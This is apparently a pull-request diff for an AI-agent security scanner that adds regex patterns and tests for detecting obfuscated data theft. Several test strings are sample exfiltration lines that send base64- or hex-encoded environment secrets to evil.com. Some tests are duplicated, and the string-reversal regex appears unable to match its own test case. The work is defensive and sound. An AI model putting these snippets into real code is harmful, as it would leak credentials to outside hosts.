Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions scanner/package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

18 changes: 12 additions & 6 deletions scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,18 +10,24 @@
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
},
"keywords": ["isnad", "scanner", "security", "ai", "agents"],
"keywords": [
"isnad",
"scanner",
"security",
"ai",
"agents"
],
"license": "MIT",
"dependencies": {
"viem": "^2.0.0",
"commander": "^12.0.0",
"chalk": "^5.3.0",
"commander": "^12.0.0",
"dotenv": "^16.4.0",
"glob": "^10.3.0"
"glob": "^10.3.0",
"viem": "^2.0.0"
},
"devDependencies": {
"@types/node": "^20.0.0",
"@types/node": "^20.19.35",
"tsx": "^4.7.0",
"typescript": "^5.3.0"
"typescript": "^5.9.3"
}
}
79 changes: 79 additions & 0 deletions scanner/src/__tests__/patterns.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
import { analyzeContent } from '../index';
import { DANGEROUS_PATTERNS } from '../patterns';

describe('Obfuscation detection patterns', () => {
it('detects base64-encoded exfiltration', () => {
const code = `const data = btoa(secret); fetch('https://evil.com', { method: 'POST', body: data });`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('high');
});

it('detects base64-encoded env exfiltration (critical)', () => {
const code = `const payload = btoa(process.env.SECRET); fetch('https://evil.com', { body: payload });`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('critical');
});

it('detects hex-encoded exfiltration', () => {
const code = `const data = Buffer.from(secret, 'hex'); send(data);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('high');
});

it('detects charCode obfuscation for exfiltration', () => {
const code = `const s = String.fromCharCode(97,98,99); fetch('/log?'+s);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('high');
});

it('detects charCode-built credential exfiltration (critical)', () => {
const code = `const s = String.fromCharCode(...process.env.key.split('')); send(s);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('critical');
});

it('detects string reversal obfuscation (simple)', () => {
const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('medium'); // maybe not high yet, but should be flagged
});

it('detects concatenation obfuscation with env', () => {
const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`;
const result = analyzeContent(code, 'test');
// Our current patterns may not catch this; this test is for future pattern
// For now, ensure it doesn't error
expect(result).toHaveProperty('riskLevel');
});

it('detects atob decoding followed by send', () => {
const code = `const decoded = atob(encoded); fetch('https://evil.com', { body: decoded });`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('high');
});

it('detects Buffer.from with hex and env', () => {
const code = `const data = Buffer.from(process.env.TOKEN, 'hex'); http.request({ host: 'evil.com', body: data });`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('critical');
});

it('detects multiple charCode calls to build sensitive string', () => {
const code = `const s = String.fromCharCode(80,97,115,115) + String.fromCharCode(87,111,114,100); fetch('/?'+s);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('high');
});

it('detects string reversal obfuscation', () => {
const code = `const hidden = '密钥'.split('').reverse().join(''); send(hidden);`;
const result = analyzeContent(code, 'test');
expect(result.riskLevel).toBe('medium');
});

it('detects suspicious concatenation with env', () => {
const code = `const p1 = process.env.A; const p2 = 'x'; const p3 = 'y'; fetch('/?'+p1+p2+p3);`;
const result = analyzeContent(code, 'test');
// Our pattern may flag as medium
expect(result.riskLevel).toBe('medium');
});
});
58 changes: 58 additions & 0 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,30 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_BASE64_ENCODED',
name: 'Base64-encoded Data Exfiltration',
description: 'Sending base64-encoded data (potential credential exfil)',
severity: 'high',
pattern: /(btoa|Buffer\.from\([^)]*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)).*(fetch|XMLHttpRequest|send|http\.request)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_HEX_ENCODED',
name: 'Hex-encoded Data Exfiltration',
description: 'Sending hex-encoded data (potential credential exfil)',
severity: 'high',
pattern: /Buffer\.from\([^)]*,\s*['"`]hex['"`]\s*\).*(fetch|XMLHttpRequest|send|http\.request)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_CHARCODE_OBFUSC',
name: 'CharCode Obfuscation for Exfiltration',
description: 'Building strings via String.fromCharCode to exfiltrate data',
severity: 'high',
pattern: /String\.fromCharCode\s*\([^)]{15,}\).*(fetch|XMLHttpRequest|send)/gi,
category: 'exfiltration'
},

// === HIGH: Credential access ===
{
Expand All @@ -81,6 +105,22 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
pattern: /process\.env\[|process\.env\./gi,
category: 'credential_access'
},
{
id: 'CRED_ENV_ENCODED_SEND',
name: 'Encoded Env Variable Exfiltration',
description: 'Sending environment variables in encoded form (base64/hex)',
severity: 'critical',
pattern: /(btoa|Buffer\.from\([^)]*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)).*process\.env/gi,
category: 'credential_access'
},
{
id: 'CRED_CHARCODE_BUILD',
name: 'CharCode-built Credential Exfiltration',
description: 'Building credential payload via String.fromCharCode then sending',
severity: 'critical',
pattern: /process\.env.*String\.fromCharCode/gi,
category: 'credential_access'
},
{
id: 'CRED_FILE_READ',
name: 'Sensitive File Read',
Expand Down Expand Up @@ -168,6 +208,24 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
category: 'obfuscation'
},

// === MEDIUM: Obfuscation techniques ===
{
id: 'OBFUSC_STRING_REVERSAL',
name: 'String Reversal Obfuscation',
description: 'Reversing strings to hide malicious payloads',
severity: 'medium',
pattern: /\.split\s*\(\s*['"`][]['"`]\s*\)\s*\.?\s*reverse\s*\(\s*\)\s*\.?\s*join\s*\(\s*['"`][]['"`]\s*\)/gi,
category: 'obfuscation'
},
{
id: 'OBFUSC_CONCATENATION',
name: 'Suspicious String Concatenation',
description: 'Building strings via concatenation, possibly with env vars',
severity: 'medium',
pattern: /(process\.env\w*)\s*[+]\s*['"`][^'`"]+['"`]\s*[+]/gi,
category: 'obfuscation'
},

// === LOW: Suspicious but context-dependent ===
{
id: 'SUSP_CRYPTO_MINING',
Expand Down